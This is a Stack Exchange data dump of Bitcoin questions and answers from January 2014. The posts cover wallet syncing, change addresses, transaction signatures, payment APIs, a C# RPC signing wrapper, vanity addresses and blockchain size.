  <row Id="20279" PostTypeId="2" ParentId="20259" CreationDate="2014-01-10T17:34:58.083" Score="1" Body="&lt;p&gt;In case of an offline wallet such as Bitcoin-Qt, you will need to be synchronised/update before you see your wallet balance correctly. The Bitcoin client will download the whole blockchain if it is the first time. Once it has been downloaded and you synchronize daily, it will be much faster to do so.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is an existing answer on &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/2380/help-i-sent-coins-to-my-bitcoin-wallet-before-it-was-properly-synced&quot;&gt;this post&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="9591" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.283" LastActivityDate="2014-01-10T17:34:58.083" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20280" PostTypeId="2" ParentId="13817" CreationDate="2014-01-10T17:39:56.693" Score="1" Body="&lt;p&gt;You can use bfgminer or the FPGA/ASIC window in MacMiner without removing parts of Mac OS&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://fabulouspanda.co.uk/macminer/&quot; rel=&quot;nofollow&quot;&gt;http://fabulouspanda.co.uk/macminer/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;you can download just bfgminer and/or cgminer compiled for Mac OS X here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://fabulouspanda.co.uk/commandline/&quot; rel=&quot;nofollow&quot;&gt;http://fabulouspanda.co.uk/commandline/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then you won't have to kextunload every time you restart your computer.&lt;/p&gt;&#xA;" OwnerUserId="129" LastActivityDate="2014-01-10T17:39:56.693" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20281" PostTypeId="2" ParentId="20276" CreationDate="2014-01-10T17:49:33.267" Score="1" Body="&lt;p&gt;No, there is not Bitcoin ATM in London. There are only two ATM machines at the moment. One in Canada and the other one about to go live in Hong Kong. Brazil is getting one soon.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But there are currently &quot;human ATM's&quot; in London via &lt;a href=&quot;https://localbitcoins.com/&quot; rel=&quot;nofollow&quot;&gt;local bitcoins&lt;/a&gt;. They will buy and sell Bitcoins. Just meet up with one of them at your favourite pub.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In case you see business opportunities and want to start your own check &lt;a href=&quot;https://robocoinkiosk.com&quot; rel=&quot;nofollow&quot;&gt;https://robocoinkiosk.com&lt;/a&gt; and &lt;a href=&quot;https://lamassu.is/&quot; rel=&quot;nofollow&quot;&gt;https://lamassu.is/&lt;/a&gt; or DYI and build it!&lt;/p&gt;&#xA;" OwnerUserId="9591" LastActivityDate="2014-01-10T17:49:33.267" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20283" PostTypeId="2" ParentId="19882" CreationDate="2014-01-10T18:00:08.403" Score="2" Body="&lt;p&gt;List of all sites I know of&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://bitcointicker.co/&quot; rel=&quot;nofollow&quot;&gt;http://bitcointicker.co/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://bitcoinwisdom.com/&quot; rel=&quot;nofollow&quot;&gt;http://bitcoinwisdom.com/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://bitcoin.clarkmoody.com/&quot; rel=&quot;nofollow&quot;&gt;http://bitcoin.clarkmoody.com/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.coinorama.net/&quot; rel=&quot;nofollow&quot;&gt;http://www.coinorama.net/&lt;/a&gt; (only graphical order book)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://bitjoy.org/~&quot; rel=&quot;nofollow&quot;&gt;http://bitjoy.org/~&lt;/a&gt; (order book in &quot;to do&quot; list)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="10574" LastActivityDate="2014-01-10T18:00:08.403" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20284" PostTypeId="2" ParentId="20276" CreationDate="2014-01-10T18:19:57.447" Score="2" Body="&lt;p&gt;There will be Robocoin ATM's in London and Bristol this Spring. &lt;a href=&quot;https://twitter.com/satoshipoint&quot; rel=&quot;nofollow&quot;&gt;https://twitter.com/satoshipoint&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12038" LastActivityDate="2014-01-10T18:19:57.447" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20286" PostTypeId="1" AcceptedAnswerId="20288" CreationDate="2014-01-10T20:42:28.070" Score="2" ViewCount="234" Body="&lt;p&gt;In the question &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/18502/is-there-a-way-to-prove-ownership-of-a-transaction&quot;&gt;&quot;Is there a way to prove ownership of a transaction?&quot;&lt;/a&gt; the statement was made &quot;A (regular) transaction must be signed with the private keys of the addresses of all the inputs&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does that imply that a transaction has multiple signatures or is a single signature just encryted with multiple private keys?&lt;/p&gt;&#xA;" OwnerUserId="9654" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:36.647" LastActivityDate="2014-01-11T08:39:19.567" Title="Does a transaction have multiple signatures" Tags="|message-signing|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20288" PostTypeId="2" ParentId="20286" CreationDate="2014-01-10T21:03:28.267" Score="2" Body="&lt;p&gt;Each input has its own and unique signature. This allows users to forge advanced transactions, such as offline signing where each participant agrees to provide inputs separately.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even if all inputs belong to the same address, each one is signed separately (with the same private key in this case).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Oh, and multisignature addresses (P2SH, pay-to-script-hash) allow several signatures per input too!&lt;/p&gt;&#xA;" OwnerUserId="11761" LastActivityDate="2014-01-10T21:03:28.267" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20289" PostTypeId="1" CreationDate="2014-01-10T21:07:00.750" Score="1" ViewCount="692" Body="&lt;p&gt;How do I manage my wallet and addresses when spending bitcoins?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, let's say I have address &lt;code&gt;abcdefgh&lt;/code&gt;, and I have 10 Euros there. I read that when I buy something worth say 4 euros in bitcoins, I must then spend the rest on another unused address, &lt;code&gt;zyxcvbnm&lt;/code&gt;, as the first address becomes unsafe or the change is lost in mining fees or something. It this true? Are all spends a double spend? For example, once for the item you want and once to your savings address?&lt;/p&gt;&#xA;" OwnerUserId="12046" LastEditorUserId="1405" LastEditDate="2014-01-12T22:16:10.410" LastActivityDate="2014-01-12T22:16:10.410" Title="Spending bitcoins - what happens to the change left in your address?" Tags="|wallet|address|spending|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20290" PostTypeId="2" ParentId="20289" CreationDate="2014-01-10T21:36:57.903" Score="0" Body="&lt;p&gt;Think of it as spending a £10 note (or your local currency). You can only spend ALL the note, you can't give £2 of it to someone. What you can do is give them £2 and receive back £8 in a different form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's the same on bitcoin, you can only spend ALL the amount in an address. Some of that amount will go to the person you want to pay and some back to an address you control (as change). It's possible in theory to send the amount back to the original address but in practice wallets create a new address to send it to. (SOmething to do with security but I'm not sure what)&lt;/p&gt;&#xA;" OwnerUserId="3742" LastActivityDate="2014-01-10T21:36:57.903" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20291" PostTypeId="2" ParentId="20289" CreationDate="2014-01-10T21:40:29.317" Score="4" Body="&lt;p&gt;&lt;strong&gt;I assume you're using Bitcoin-Qt, i.e. the reference implementation.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin-Qt works with &lt;strong&gt;accounts&lt;/strong&gt;, not addresses. The balance of your wallet is the sum of each account balance. The purpose of accounts is to compartmentalize payments in labels such as &quot;Savings&quot;, &quot;Salary&quot;, &quot;Friends&quot;, etc. for your own convenience.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each account has many Bitcoin addresses associated with it, though you'll only see one at a time (the last one). As soon as you get a payment in the displayed address, &lt;strong&gt;its address will change&lt;/strong&gt;. You can still receive payments at that address, though that is considered bad practice due to anonimity issues.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now to answer your question: &lt;em&gt;&quot;I read that when I buy something [...] I must then spend the rest to another unused address [...] as the first address becomes unsafe or the change is lost in mining fees or something.&quot;&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin works a bit different than money. A payment is:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;References to earlier payments you received (i.e. the sources of money)&lt;/li&gt;&#xA;&lt;li&gt;A list of pairs of (address + amount) (i.e. destinations)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;When you reference an earlier payment you must spend it as a whole.&lt;/strong&gt; You can't split it, like you wouldn't be able to split a 10€ bill in two 5€ bills.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example: let's say you receive 10BTC payment. If you want to spend 1BTC you can't split it in 1BTC (paid) + 9BTC (left in address). You have to spend it all!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the other hand, &lt;strong&gt;that's pretty much like paying 1BTC to someone else and sending 9BTC back to yourself&lt;/strong&gt;. You could pay yourself to your original address, but Bitcoin-QT is smart enough to create a new (invisible to you) address which receives this change. The advantage of this &quot;change address&quot; is that I can no longer link your payment back to yourself:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Did you spend 1BTC and sent 9BTC as change, or perhaps spent 9BTC and sent 1BTC back as change? If you reused the same address, the change is obviously the one with the same address. If you let Bitcoin-Qt take care of it both will be new addresses and &lt;strong&gt;the money can't be traced back to you&lt;/strong&gt;. This is what you meant with &lt;em&gt;&quot;the address becomes unsafe&quot;&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The key is: don't worry about this! Bitcoin-Qt will take care of all this for you!&lt;/strong&gt; As long as you understand your accounts, addresses are disposable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now... what happens if Bitcoin-Qt somehow didn't send the change back to you? Imagine you just said &quot;I want to send 1BTC out of this 10BTC&quot; but Bitcoin-Qt forgets to send the change (&lt;strong&gt;this WON'T happen&lt;/strong&gt; using Bitcoin-Qt, it's just a thought experiment).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Transaction fees are the difference between input and output&lt;/strong&gt;, i.e. &lt;code&gt;input - output&lt;/code&gt;. If somehow you only send 1BTC but forget to send back 9BTC of change to yourself, whoever mines this block will get the leftovers!&lt;/p&gt;&#xA;" OwnerUserId="11761" LastEditorUserId="11761" LastEditDate="2014-01-10T21:50:27.320" LastActivityDate="2014-01-10T21:50:27.320" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="20292" PostTypeId="1" AcceptedAnswerId="20295" CreationDate="2014-01-10T21:47:09.420" Score="1" ViewCount="3945" Body="&lt;p&gt;We are building an online game and planning to enable our players to play for bitcoins.  Therefore, we need to enable players to deposit and withdraw bitcoins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which way is the easiest to start accepting bitcoins from users?  Use the bitcoin API call list (&lt;a href=&quot;https://en.bitcoin.it/wiki/Original_Bitcoin_client/API_calls_list&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Original_Bitcoin_client/API_calls_list&lt;/a&gt;) or use Blockchain.info's &quot;receive payment API&quot; (&lt;a href=&quot;http://blockchain.info/api/api_receive&quot; rel=&quot;nofollow&quot;&gt;http://blockchain.info/api/api_receive&lt;/a&gt;)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On Blockchain.info's page for &quot;receive payment API&quot;, it gives a PHP example near the bottom of the page.  The example enables your website to prompt the user to send bitcoins to us, via Blockchain.info.  I like to test this out.  Which way is the best way to test it out?  Send real bitcoins or send testnet bitcoins?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the best way to test is to use real bitcoins, I'm assuming that we should send one Satoshi (0.00000001 BTC) each time?  But how much transaction or network fee will I have to pay (since it is likely that I'll need to send BTC many times)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the best way to test is to use Testnet coins, then how does one use them?  I cannot find good information on how to use them to answer questions such as:  Can we use testnet coins to test out the bitcoin API call list or Blockchain.info's &quot;receive payment API&quot; and their PHP example?&lt;/p&gt;&#xA;" OwnerUserId="12048" LastActivityDate="2017-12-21T05:52:11.847" Title="Easiest way to accept BTC and test" Tags="|api|blockchain.info|payment|testnet|testing|" AnswerCount="2" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20293" PostTypeId="2" ParentId="20271" CreationDate="2014-01-10T22:40:50.550" Score="3" Body="&lt;p&gt;You can't sensibly evaluate the costs and benefits of mining that way. For example, consider this horrible (for you) idea:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) Buy Bitcoins.&lt;br&gt;&#xA;2) Give half those Bitcoins to me.&lt;br&gt;&#xA;3) Wait two years.&lt;br&gt;&#xA;4) Sell those Bitcoins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is that a good idea for you to do or a bad idea? Well, if you look at how that idea would have worked over the past two years, computing your costs in pounds and your return in pounds, that seems like a great idea. But it's obviously a really bad idea.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So &lt;em&gt;don't&lt;/em&gt; ever evaluate the profitability of Bitcoin investments in fiat currencies. It makes even really bad ideas look good.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2014-01-10T22:40:50.550" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20295" PostTypeId="2" ParentId="20292" CreationDate="2014-01-10T23:11:26.837" Score="3" Body="&lt;p&gt;Blockchain.info service will not accept testnet coins so you can only test with regular coins.&#xA;As you can see in their site the minimum transfer amount allowed by their system is 0.0005 BTC so that's the minimum and no fee is required for that amount.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you will be on the sender and receiving ends you can send any amount, if everything go as it should nothing will be lost.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the other side I have heard about problems and delays using blockchain.info services, I don't know if they are fixed by now but probably if you are going to be using a bitcoin payment service usually you can go and check other commercial services out there.&lt;/p&gt;&#xA;" OwnerUserId="10574" LastEditorUserId="2306" LastEditDate="2015-05-13T02:28:13.807" LastActivityDate="2015-05-13T02:28:13.807" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="20298" PostTypeId="1" AcceptedAnswerId="30271" CreationDate="2014-01-11T01:18:10.987" Score="4" ViewCount="1733" Body="&lt;p&gt;I've been working with &lt;a href=&quot;https://github.com/GeorgeKimionis/BitcoinLib&quot; rel=&quot;nofollow noreferrer&quot;&gt;BitcoinLib&lt;/a&gt; testing various parameters on the signrawtransaction rpc call. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's been mostly successful, however there seems to be a persisting problem when using only private keys to sign a transaction. (second optional argument of signrawtransaction call). The server replies &lt;code&gt;false&lt;/code&gt; and returns the failed hex. I have tested the same transaction on the qt console using the same keys, and it returns &lt;code&gt;true&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The wrapper employs a &lt;code&gt;SignRawTransactionRequest&lt;/code&gt; class matching the four arguments of the rpc call.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public SignRawTransactionRequest(String rawTransactionHex)&#xA;    {&#xA;        RawTransactionHex = rawTransactionHex;&#xA;        Inputs = new List&amp;lt;SignRawTransactionInput&amp;gt;();&#xA;        PrivateKeys = new List&amp;lt;String&amp;gt;();&#xA;        SigHashType = SignRawTransaction.SigHashType.All;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It allows for 'inputs' and 'privatekeys' to be null, following the signrawtransaction syntax, while assuming 'sighashtype=all' unless explicitly specified otherwise.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The implementation also includes a &lt;code&gt;SignRawTransactionInput&lt;/code&gt; class corresponding to the first optional argument of the rpc call. ([{&quot;txid&quot;:txid,&quot;vout&quot;:n, &quot;scriptPubKey&quot;:hex, &quot;redeemScript&quot;:hex } ,...])&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public class SignRawTransactionInput&#xA;{&#xA;    [JsonProperty(PropertyName = &quot;txid&quot;, Order = 0)]&#xA;    public String TransactionId { get; set; }&#xA;&#xA;    [JsonProperty(PropertyName = &quot;vout&quot;, Order = 1)]&#xA;    public Int32 Output { get; set; }&#xA;&#xA;    [JsonProperty(PropertyName = &quot;scriptPubKey&quot;, Order = 2)]&#xA;    public String ScriptPubKey { get; set; }&#xA;&#xA;    [JsonProperty(PropertyName = &quot;redeemScript&quot;, Order = 3)]&#xA;    public String RedeemScript { get; set; }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The request if fed to the wrapper method &lt;code&gt;RpcServer.SignRawTransaction&lt;/code&gt; and returns a &lt;code&gt;SignRawTransactionResponse&lt;/code&gt; containing the result and the hex as returned by the server.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public class SignRawTransactionResponse&#xA;    {&#xA;        public String Hex { get; set; }&#xA;        public Boolean Complete { get; set; }&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So far, signings using just the hex (no other arguments), inputs, different sighashtypes and various combinations of those have been successful. The server replies TRUE and returns the hex of the signed transaction when called with plain hex&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/LrgnQ.jpg&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Ie8H1.jpg&quot; alt=&quot;server reply&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;or when called with some arguments&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0US3Q.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/SylqS.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, it returns false when the second optional argument(list of private keys) is used. It has been tested with one, all, and various combinations of the available private keys of the wallet. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ciq6u.jpg&quot; alt=&quot;enter image description here&quot;&gt; &lt;img src=&quot;https://i.stack.imgur.com/mg2FL.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I suspect it might be a JSON error and that the wrapper is not constructing that part of the JSON properly, however that usually leads to a parsing error and not the &lt;code&gt;false&lt;/code&gt; reply I get here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The same combinations return &lt;code&gt;true&lt;/code&gt; when signrawtransaction is called from the console.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/n66v9.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas on what might be wrong with the private keys argument?&lt;/p&gt;&#xA;" OwnerUserId="11555" LastEditorUserId="11555" LastEditDate="2014-01-11T02:00:32.167" LastActivityDate="2014-08-29T15:24:36.033" Title="JSON-RPC signrawtransaction returns false when using private keys" Tags="|json-rpc|private-key|c#|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="20299" PostTypeId="2" ParentId="9751" CreationDate="2014-01-11T02:16:41.287" Score="2" Body="&lt;p&gt;From the source in 0.8.6, I see these possible categories:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;src/rpcwallet.cpp:961:            entry.push_back(Pair(&quot;category&quot;, &quot;send&quot;));&#xA;src/rpcwallet.cpp:986:                        entry.push_back(Pair(&quot;category&quot;, &quot;orphan&quot;));&#xA;src/rpcwallet.cpp:988:                        entry.push_back(Pair(&quot;category&quot;, &quot;immature&quot;));&#xA;src/rpcwallet.cpp:990:                        entry.push_back(Pair(&quot;category&quot;, &quot;generate&quot;));&#xA;src/rpcwallet.cpp:993:                    entry.push_back(Pair(&quot;category&quot;, &quot;receive&quot;));&#xA;src/rpcwallet.cpp:1011:        entry.push_back(Pair(&quot;category&quot;, &quot;move&quot;));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So essentially:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&quot;send&quot; &lt;/li&gt;&#xA;&lt;li&gt;&quot;orphan&quot; &lt;/li&gt;&#xA;&lt;li&gt;&quot;immature&quot; &lt;/li&gt;&#xA;&lt;li&gt;&quot;generate&quot; &lt;/li&gt;&#xA;&lt;li&gt;&quot;receive&quot; &lt;/li&gt;&#xA;&lt;li&gt;&quot;move&quot;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="12056" LastActivityDate="2014-01-11T02:16:41.287" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20302" PostTypeId="1" CreationDate="2014-01-11T04:04:22.457" Score="0" ViewCount="311" Body="&lt;p&gt;I wonder why people are creating so many crypto currencies and how many of them may sustain? Can anyone here predict what is going to happen? (Not asking to predict what coins are going to sustain as no one would know answer to that).&lt;/p&gt;&#xA;" OwnerUserId="11969" LastActivityDate="2014-01-11T08:51:36.310" Title="Why are people creating so many coins and can all of them sustain?" Tags="|bitcoin-economy|" AnswerCount="3" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20303" PostTypeId="1" CreationDate="2014-01-11T04:07:32.410" Score="1" ViewCount="1244" Body="&lt;p&gt;I want to generate very long vanity addresses, with the relaxed constraint that I don't need the corresponding private key, they only need to be valid Bitcoin addresses. How would I do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Input Prefix: 1XXXXXXXXXXXXXXXXXXXX&#xA;Output: 1XXXXXXXXXXXXXXXXXXXXUW9j3f3&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12062" LastEditorUserId="5406" LastEditDate="2014-06-17T13:02:23.483" LastActivityDate="2022-08-25T17:44:46.110" Title="How would I generate a valid vanity address for destroying coins?" Tags="|vanity-address|vanitygen|destroy-bitcoins|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="20305" PostTypeId="1" AcceptedAnswerId="20311" CreationDate="2014-01-11T05:16:22.427" Score="9" ViewCount="8438" Body="&lt;p&gt;I saw lot of questions about vanity addresses, but not sure what is vanity address. Could someone please explain?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks.&lt;/p&gt;&#xA;" OwnerUserId="11969" LastActivityDate="2017-12-27T10:01:20.633" Title="What is vanity address?" Tags="|vanity-address|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20306" PostTypeId="1" CreationDate="2014-01-11T05:20:16.397" Score="1" ViewCount="2167" Body="&lt;p&gt;i want to create an API. where do Crypto Currency exchanges get their data from, Like the exchange rate, difficulty of coins, blocks and rewards.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to create a website which displays all the data related to the coins and i dont want to use any existing API. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can Anyone suggest how to create an API.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="12063" LastActivityDate="2014-02-15T20:29:50.487" Title="where to get cryptocoins data" Tags="|api|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20307" PostTypeId="2" ParentId="20302" CreationDate="2014-01-11T05:25:18.243" Score="2" Body="&lt;p&gt;Many other crypto currencies are inspired by bitcoin, but have a goal that differentiates them from bitcoin. For example, litecoin was design to combat the development of ASICs, so that people with regular computer hardware can mine them. Namecoins provide secure key-value pair storage, and devcoins are somehow used to fund open source endeavors. Others just want to piggy back on the success of bitcoin. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The success and sustainability of these other currencies (often called altcoins) depends on whether or not you can convince others that they are valuable. For example, Namecoins are gaining popularity because you can buy .bit domain names with them. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many altcoins will likely remain worthless forever, but people will assign a value to some, and those may be sustainable. &lt;/p&gt;&#xA;" OwnerUserId="11970" LastActivityDate="2014-01-11T05:25:18.243" CommentCount="0" CommunityOwnedDate="2014-01-11T05:25:18.243" ContentLicense="CC BY-SA 3.0" />
  <row Id="20310" PostTypeId="1" CreationDate="2014-01-11T06:15:52.763" Score="6" ViewCount="844" Body="&lt;p&gt;I&quot;m really wondering: you see 13 gigabytes (current blockchain size) is big enough only because there are all of transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can Bitcoin developers create such a piece of code which will shrink the size of the blockchain by collecting information of all addresses and representing some kind of inputs without using a &lt;a href=&quot;https://en.wikipedia.org/wiki/Merkle_tree&quot; rel=&quot;noreferrer&quot;&gt;Merkle tree&lt;/a&gt;, but in &quot;database&quot; style (like 4.5 bitcoins belongs to Alice, 2.3 belongs to Bob, ... ,.. .. and so on)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If blockchain size could be shrinked once in a year, then that would be a great solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why isn't such a model allowable or what is the probability that Bitcoin developers will adopt this kind of protocol?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My solution here implies that everything on Bitcoin goes on the same way, but except for the fact that there will be a blockchain limit like 250 gigabytes for the blockchain - &lt;em&gt;once&lt;/em&gt; the network will reach that limit, the network will agree on the last included block of transactions, after which the whole network will switch to a new blockchain file which won't wipe out everybody's bitcoins, but which will just create the &lt;em&gt;genesis blocks&lt;/em&gt; based on previous files with all previous inputs belonging to their owner's addresses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please don't just say &quot;it won't work&quot;.&lt;/p&gt;&#xA;" OwnerUserId="11961" LastEditorUserId="1405" LastEditDate="2014-01-12T11:01:35.850" LastActivityDate="2014-02-17T03:15:19.630" Title="Why can't we make the Bitcoin software start the blockchain from the beginning?" Tags="|blockchain|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20311" PostTypeId="2" ParentId="20305" CreationDate="2014-01-11T06:29:10.377" Score="8" Body="&lt;p&gt;It is the same thing as a &lt;a href=&quot;https://en.wikipedia.org/wiki/Vanity_plate&quot; rel=&quot;noreferrer&quot;&gt;vanity plate&lt;/a&gt; which are used for cars. That is: An address which you choose yourself (or at least part of it). For example the address of Bitcoin24 is 1BTC24yVKQdQNAa4vX71xLUC5A8Za7Rr71 (watch the first six characters!).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See this question &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/3139/how-can-i-generate-a-vanity-bitcoin-address?rq=1&quot;&gt;How can I generate a vanity Bitcoin address?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="11997" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.743" LastActivityDate="2014-01-11T06:29:10.377" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20312" PostTypeId="1" AcceptedAnswerId="20365" CreationDate="2014-01-11T06:42:01.740" Score="1" ViewCount="357" Body="&lt;p&gt;I'm implementing my own blockchain reader but I'm stuck validating transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can validate a common transaction checking the UTXO and executing both scripts, but... how do I validate generation transactions? AFAIK there's no flag that lets me detect generation so I can ignore the input.&lt;/p&gt;&#xA;" OwnerUserId="11761" LastActivityDate="2014-01-11T19:50:30.363" Title="Detecting generation transactions" Tags="|transactions|blockchain|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="20313" PostTypeId="2" ParentId="20312" CreationDate="2014-01-11T06:58:57.893" Score="0" Body="&lt;p&gt;Okay, &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/209/eligius-pool-and-generated-bitcoins&quot;&gt;found it&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;In main.h, function IsCoinBase(): return (vin.size() == 1 &amp;amp;&amp;amp; vin[0].prevout.IsNull());&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="11761" LastActivityDate="2014-01-11T06:58:57.893" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20314" PostTypeId="2" ParentId="17022" CreationDate="2014-01-11T07:00:17.810" Score="0" Body="&lt;p&gt;As far as I know, the only issue is the different encoding schemes for ECDSA and ECC. It might take some effort to get thru the specs to determine what byte sequences mean what, but in general if it is difficult to derive the private key from the public key, then you can use the key-pair for either signatures or encryption. If one system is insecure, the other is.&lt;/p&gt;&#xA;" OwnerUserId="11720" LastActivityDate="2014-01-11T07:00:17.810" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
